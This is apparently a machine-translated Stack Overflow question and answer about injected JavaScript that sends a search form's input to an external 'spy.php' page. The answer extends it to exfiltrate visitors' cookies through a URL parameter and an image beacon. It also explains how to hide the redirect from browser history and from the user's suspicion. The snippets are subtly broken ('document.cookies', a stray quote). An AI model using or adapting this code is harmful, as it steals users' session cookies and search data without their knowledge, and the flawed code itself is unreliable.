0

検索フォームに入力されたもの(つまり、検索フォームのID)を指定されたURLに送信するこのスクリプトがあります

 <script type="text/javascript">
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php";
</script >

ドキュメント Cookie intsad を URL に送信するようにスクリプトを編集するにはどうすればよいですか?

4

1 に答える 1

0

元の答え:

".../spy.php?param=" + encodeURIComponent(document.cookies);


わかりましたので、2 つのオプションがあります。

  1. 検索をスパイ サイトに完全にリダイレクトし、スパイ サイトからユーザーを最初のページにリダイレクトします。location.replaceスパイ サイトを履歴に残しておきたくない場合は、JavaScript を使用して実行できます。
  2. 2 番目の方法はより洗練されています。検索フォームの送信時に、このような Cookie を設定してから、検索フォームを送信させます。検索ページでその Cookie を確認し、設定されている場合はそれを読み取って削除します。OK、これで送信する必要がある値が得られました。簡単な方法は次のとおりです。

    new Image().src="your_site?search="+search_val"+"&cookies="+document.cookies;
    

    検索ページにアクセスできない場合は、ユーザーが検索フォームを送信したときに直接情報を取得することもできますが、ユーザーはデータが送信されるまで待機するため、非常に疑わしい場合があります。

于 2013-03-01T13:48:49.643 に答える